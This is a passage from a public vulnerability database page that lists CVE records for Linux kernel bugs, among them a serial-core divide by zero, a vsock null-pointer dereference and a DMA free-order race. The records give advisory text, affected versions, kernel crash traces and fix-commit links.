already\ntaken. Inflight graph remains unaffected."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:06:59.719Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/a36ae0ec2353015f0f6762e59f4c2dbc0c906423"
        },
        {
          "url": "https://git.kernel.org/stable/c/343c5372d5e17b306db5f8f3c895539b06e3177f"
        },
        {
          "url": "https://git.kernel.org/stable/c/2e2a03787f4f0abc0072350654ab0ef3324d9db3"
        },
        {
          "url": "https://git.kernel.org/stable/c/e76c2678228f6aec74b305ae30c9374cc2f28a51"
        },
        {
          "url": "https://git.kernel.org/stable/c/b75722be422c276b699200de90527d01c602ea7c"
        },
        {
          "url": "https://git.kernel.org/stable/c/507cc232ffe53a352847893f8177d276c3b532a9"
        },
        {
          "url": "https://git.kernel.org/stable/c/dbdf7bec5c920200077d693193f989cb1513f009"
        },
        {
          "url": "https://git.kernel.org/stable/c/47d8ac011fe1c9251070e1bd64cb10b48193ec51"
        }
      ],
      "title": "af_unix: Fix garbage collector racing against connect()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26923",
    "datePublished": "2024-04-24T21:49:22.001Z",
    "dateReserved": "2024-02-19T14:20:24.194Z",
    "dateUpdated": "2026-05-12T11:50:40.454Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-43893 (GCVE-0-2024-43893)

Vulnerability from cvelistv5 – Published: 2024-08-26 10:10 – Updated: 2026-05-12 11:57

Title

serial: core: check uartclk for zero to avoid divide by zero

Summary

In the Linux kernel, the following vulnerability has been resolved: serial: core: check uartclk for zero to avoid divide by zero Calling ioctl TIOCSSERIAL with an invalid baud_base can result in uartclk being zero, which will result in a divide by zero error in uart_get_divisor(). The check for uartclk being zero in uart_set_info() needs to be done before other settings are made as subsequent calls to ioctl TIOCSSERIAL for the same port would be impacted if the uartclk check was done where uartclk gets set. Oops: divide error: 0000 PREEMPT SMP KASAN PTI RIP: 0010:uart_get_divisor (drivers/tty/serial/serial_core.c:580) Call Trace: <TASK> serial8250_get_divisor (drivers/tty/serial/8250/8250_port.c:2576 drivers/tty/serial/8250/8250_port.c:2589) serial8250_do_set_termios (drivers/tty/serial/8250/8250_port.c:502 drivers/tty/serial/8250/8250_port.c:2741) serial8250_set_termios (drivers/tty/serial/8250/8250_port.c:2862) uart_change_line_settings (./include/linux/spinlock.h:376 ./include/linux/serial_core.h:608 drivers/tty/serial/serial_core.c:222) uart_port_startup (drivers/tty/serial/serial_core.c:342) uart_startup (drivers/tty/serial/serial_core.c:368) uart_set_info (drivers/tty/serial/serial_core.c:1034) uart_set_info_user (drivers/tty/serial/serial_core.c:1059) tty_set_serial (drivers/tty/tty_io.c:2637) tty_ioctl (drivers/tty/tty_io.c:2647 drivers/tty/tty_io.c:2791) __x64_sys_ioctl (fs/ioctl.c:52 fs/ioctl.c:907 fs/ioctl.c:893 fs/ioctl.c:893) do_syscall_64 (arch/x86/entry/common.c:52 (discriminator 1) arch/x86/entry/common.c:83 (discriminator 1)) entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130) Rule: add

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/3bbd90fca824e6fd6…
https://git.kernel.org/stable/c/55b2a5d331a6ceb1c…
https://git.kernel.org/stable/c/52b138f1021113e59…
https://git.kernel.org/stable/c/9196e42a3b8eeff17…
https://git.kernel.org/stable/c/e13ba3fe5ee070f8a…
https://git.kernel.org/stable/c/e3ad503876283ac3f…
https://git.kernel.org/stable/c/68dc02f319b9ee54d…
https://git.kernel.org/stable/c/6eabce6608d6f3440…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 3bbd90fca824e6fd61fb20f6dd2b0fa5f8b14bba (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 55b2a5d331a6ceb1c4372945fdb77181265ba24f (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 52b138f1021113e593ee6ad258ce08fe90693a9e (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 9196e42a3b8eeff1707e6ef769112b4b6096be49 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < e13ba3fe5ee070f8a9dab60029d52b1f61da5051 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < e3ad503876283ac3fcca922a1bf243ef9eb0b0e2 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 68dc02f319b9ee54dc23caba742a5c754d1cccc8 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 6eabce6608d6f3440f4c03aa3d3ef50a47a3d193 (git)
Linux	Linux	Affected: 2.6.12 Unaffected: 0 , < 2.6.12 (semver) Unaffected: 4.19.320 , ≤ 4.19.* (semver) Unaffected: 5.4.282 , ≤ 5.4.* (semver) Unaffected: 5.10.224 , ≤ 5.10.* (semver) Unaffected: 5.15.165 , ≤ 5.15.* (semver) Unaffected: 6.1.105 , ≤ 6.1.* (semver) Unaffected: 6.6.46 , ≤ 6.6.* (semver) Unaffected: 6.10.5 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-43893",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T15:29:15.877067Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-12T17:32:57.839Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:06:54.168Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:57:13.322Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/tty/serial/serial_core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "3bbd90fca824e6fd61fb20f6dd2b0fa5f8b14bba",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "55b2a5d331a6ceb1c4372945fdb77181265ba24f",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "52b138f1021113e593ee6ad258ce08fe90693a9e",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "9196e42a3b8eeff1707e6ef769112b4b6096be49",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "e13ba3fe5ee070f8a9dab60029d52b1f61da5051",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "e3ad503876283ac3fcca922a1bf243ef9eb0b0e2",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "68dc02f319b9ee54dc23caba742a5c754d1cccc8",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "6eabce6608d6f3440f4c03aa3d3ef50a47a3d193",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/tty/serial/serial_core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.12"
            },
            {
              "lessThan": "2.6.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.320",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.282",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.224",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.165",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.105",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.46",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.320",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.282",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.224",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.165",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.105",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.46",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.5",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nserial: core: check uartclk for zero to avoid divide by zero\n\nCalling ioctl TIOCSSERIAL with an invalid baud_base can\nresult in uartclk being zero, which will result in a\ndivide by zero error in uart_get_divisor(). The check for\nuartclk being zero in uart_set_info() needs to be done\nbefore other settings are made as subsequent calls to\nioctl TIOCSSERIAL for the same port would be impacted if\nthe uartclk check was done where uartclk gets set.\n\nOops: divide error: 0000  PREEMPT SMP KASAN PTI\nRIP: 0010:uart_get_divisor (drivers/tty/serial/serial_core.c:580)\nCall Trace:\n \u003cTASK\u003e\nserial8250_get_divisor (drivers/tty/serial/8250/8250_port.c:2576\n    drivers/tty/serial/8250/8250_port.c:2589)\nserial8250_do_set_termios (drivers/tty/serial/8250/8250_port.c:502\n    drivers/tty/serial/8250/8250_port.c:2741)\nserial8250_set_termios (drivers/tty/serial/8250/8250_port.c:2862)\nuart_change_line_settings (./include/linux/spinlock.h:376\n    ./include/linux/serial_core.h:608 drivers/tty/serial/serial_core.c:222)\nuart_port_startup (drivers/tty/serial/serial_core.c:342)\nuart_startup (drivers/tty/serial/serial_core.c:368)\nuart_set_info (drivers/tty/serial/serial_core.c:1034)\nuart_set_info_user (drivers/tty/serial/serial_core.c:1059)\ntty_set_serial (drivers/tty/tty_io.c:2637)\ntty_ioctl (drivers/tty/tty_io.c:2647 drivers/tty/tty_io.c:2791)\n__x64_sys_ioctl (fs/ioctl.c:52 fs/ioctl.c:907\n    fs/ioctl.c:893 fs/ioctl.c:893)\ndo_syscall_64 (arch/x86/entry/common.c:52\n    (discriminator 1) arch/x86/entry/common.c:83 (discriminator 1))\nentry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)\n\nRule: add"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:31:51.254Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/3bbd90fca824e6fd61fb20f6dd2b0fa5f8b14bba"
        },
        {
          "url": "https://git.kernel.org/stable/c/55b2a5d331a6ceb1c4372945fdb77181265ba24f"
        },
        {
          "url": "https://git.kernel.org/stable/c/52b138f1021113e593ee6ad258ce08fe90693a9e"
        },
        {
          "url": "https://git.kernel.org/stable/c/9196e42a3b8eeff1707e6ef769112b4b6096be49"
        },
        {
          "url": "https://git.kernel.org/stable/c/e13ba3fe5ee070f8a9dab60029d52b1f61da5051"
        },
        {
          "url": "https://git.kernel.org/stable/c/e3ad503876283ac3fcca922a1bf243ef9eb0b0e2"
        },
        {
          "url": "https://git.kernel.org/stable/c/68dc02f319b9ee54dc23caba742a5c754d1cccc8"
        },
        {
          "url": "https://git.kernel.org/stable/c/6eabce6608d6f3440f4c03aa3d3ef50a47a3d193"
        }
      ],
      "title": "serial: core: check uartclk for zero to avoid divide by zero",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-43893",
    "datePublished": "2024-08-26T10:10:48.046Z",
    "dateReserved": "2024-08-17T09:11:59.290Z",
    "dateUpdated": "2026-05-12T11:57:13.322Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21666 (GCVE-0-2025-21666)

Vulnerability from cvelistv5 – Published: 2025-01-31 11:25 – Updated: 2026-05-12 12:03

Title

vsock: prevent null-ptr-deref in vsock_*[has_data|has_space]

Summary

In the Linux kernel, the following vulnerability has been resolved: vsock: prevent null-ptr-deref in vsock_*[has_data|has_space] Recent reports have shown how we sometimes call vsock_*_has_data() when a vsock socket has been de-assigned from a transport (see attached links), but we shouldn't. Previous commits should have solved the real problems, but we may have more in the future, so to avoid null-ptr-deref, we can return 0 (no space, no data available) but with a warning. This way the code should continue to run in a nearly consistent state and have a warning that allows us to debug future problems.

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-476 - NULL Pointer Dereference

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/daeac89cdb03d3002…
https://git.kernel.org/stable/c/9e5fed46ccd2c34c5…
https://git.kernel.org/stable/c/b52e50dd4fabd1294…
https://git.kernel.org/stable/c/bc9c49341f9728c31…
https://git.kernel.org/stable/c/c23d1d4f8efefb722…
https://git.kernel.org/stable/c/91751e248256efc11…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: c0cfa2d8a788fcf45df5bf4070ab2474c88d543a , < daeac89cdb03d30028186f5ff7dc26ec8fa843e7 (git) Affected: c0cfa2d8a788fcf45df5bf4070ab2474c88d543a , < 9e5fed46ccd2c34c5fa5a9c8825ce4823fdc853e (git) Affected: c0cfa2d8a788fcf45df5bf4070ab2474c88d543a , < b52e50dd4fabd12944172bd486a4f4853b7f74dd (git) Affected: c0cfa2d8a788fcf45df5bf4070ab2474c88d543a , < bc9c49341f9728c31fe248c5fbba32d2e81a092b (git) Affected: c0cfa2d8a788fcf45df5bf4070ab2474c88d543a , < c23d1d4f8efefb72258e9cedce29de10d057f8ca (git) Affected: c0cfa2d8a788fcf45df5bf4070ab2474c88d543a , < 91751e248256efc111e52e15115840c35d85abaf (git)
Linux	Linux	Affected: 5.5 Unaffected: 0 , < 5.5 (semver) Unaffected: 5.10.234 , ≤ 5.10.* (semver) Unaffected: 5.15.177 , ≤ 5.15.* (semver) Unaffected: 6.1.127 , ≤ 6.1.* (semver) Unaffected: 6.6.74 , ≤ 6.6.* (semver) Unaffected: 6.12.11 , ≤ 6.12.* (semver) Unaffected: 6.13 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2025-21666",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-01T19:52:24.276957Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-476",
                "description": "CWE-476 NULL Pointer Dereference",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-01T19:57:12.729Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T20:58:44.611Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:08.150Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/vmw_vsock/af_vsock.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "daeac89cdb03d30028186f5ff7dc26ec8fa843e7",
              "status": "affected",
              "version": "c0cfa2d8a788fcf45df5bf4070ab2474c88d543a",
              "versionType": "git"
            },
            {
              "lessThan": "9e5fed46ccd2c34c5fa5a9c8825ce4823fdc853e",
              "status": "affected",
              "version": "c0cfa2d8a788fcf45df5bf4070ab2474c88d543a",
              "versionType": "git"
            },
            {
              "lessThan": "b52e50dd4fabd12944172bd486a4f4853b7f74dd",
              "status": "affected",
              "version": "c0cfa2d8a788fcf45df5bf4070ab2474c88d543a",
              "versionType": "git"
            },
            {
              "lessThan": "bc9c49341f9728c31fe248c5fbba32d2e81a092b",
              "status": "affected",
              "version": "c0cfa2d8a788fcf45df5bf4070ab2474c88d543a",
              "versionType": "git"
            },
            {
              "lessThan": "c23d1d4f8efefb72258e9cedce29de10d057f8ca",
              "status": "affected",
              "version": "c0cfa2d8a788fcf45df5bf4070ab2474c88d543a",
              "versionType": "git"
            },
            {
              "lessThan": "91751e248256efc111e52e15115840c35d85abaf",
              "status": "affected",
              "version": "c0cfa2d8a788fcf45df5bf4070ab2474c88d543a",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/vmw_vsock/af_vsock.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.5"
            },
            {
              "lessThan": "5.5",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.234",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.177",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.127",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.74",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.13",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.234",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.177",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.127",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.74",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.11",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nvsock: prevent null-ptr-deref in vsock_*[has_data|has_space]\n\nRecent reports have shown how we sometimes call vsock_*_has_data()\nwhen a vsock socket has been de-assigned from a transport (see attached\nlinks), but we shouldn\u0027t.\n\nPrevious commits should have solved the real problems, but we may have\nmore in the future, so to avoid null-ptr-deref, we can return 0\n(no space, no data available) but with a warning.\n\nThis way the code should continue to run in a nearly consistent state\nand have a warning that allows us to debug future problems."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:04:05.814Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/daeac89cdb03d30028186f5ff7dc26ec8fa843e7"
        },
        {
          "url": "https://git.kernel.org/stable/c/9e5fed46ccd2c34c5fa5a9c8825ce4823fdc853e"
        },
        {
          "url": "https://git.kernel.org/stable/c/b52e50dd4fabd12944172bd486a4f4853b7f74dd"
        },
        {
          "url": "https://git.kernel.org/stable/c/bc9c49341f9728c31fe248c5fbba32d2e81a092b"
        },
        {
          "url": "https://git.kernel.org/stable/c/c23d1d4f8efefb72258e9cedce29de10d057f8ca"
        },
        {
          "url": "https://git.kernel.org/stable/c/91751e248256efc111e52e15115840c35d85abaf"
        }
      ],
      "title": "vsock: prevent null-ptr-deref in vsock_*[has_data|has_space]",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21666",
    "datePublished": "2025-01-31T11:25:31.138Z",
    "dateReserved": "2024-12-29T08:45:45.733Z",
    "dateUpdated": "2026-05-12T12:03:08.150Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-43856 (GCVE-0-2024-43856)

Vulnerability from cvelistv5 – Published: 2024-08-17 09:24 – Updated: 2026-05-12 11:56

Title

dma: fix call order in dmam_free_coherent

Summary

In the Linux kernel, the following vulnerability has been resolved: dma: fix call order in dmam_free_coherent dmam_free_coherent() frees a DMA allocation, which makes the freed vaddr available for reuse, then calls devres_destroy() to remove and free the data structure used to track the DMA allocation. Between the two calls, it is possible for a concurrent task to make an allocation with the same vaddr and add it to the devres list. If this happens, there will be two entries in the devres list with the same vaddr and devres_destroy() can free the wrong entry, triggering the WARN_ON() in dmam_match. Fix by destroying the devres entry before freeing the DMA allocation. kokonut //net/encryption http://sponge2/b9145fe6-0f72-4325-ac2f-a84d81075b03

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/fe2d246080f035e0a…
https://git.kernel.org/stable/c/2f7bbdc744f2e7051…
https://git.kernel.org/stable/c/257193083e8f43907…
https://git.kernel.org/stable/c/87b34c8c94e29fa01…
https://git.kernel.org/stable/c/f993a4baf6b622232…
https://git.kernel.org/stable/c/1fe97f68fce1ba24b…
https://git.kernel.org/stable/c/22094f5f52e7bc16c…
https://git.kernel.org/stable/c/28e8b7406d3a1f532…

Impacted products

2 products

Vendor	Product	Version
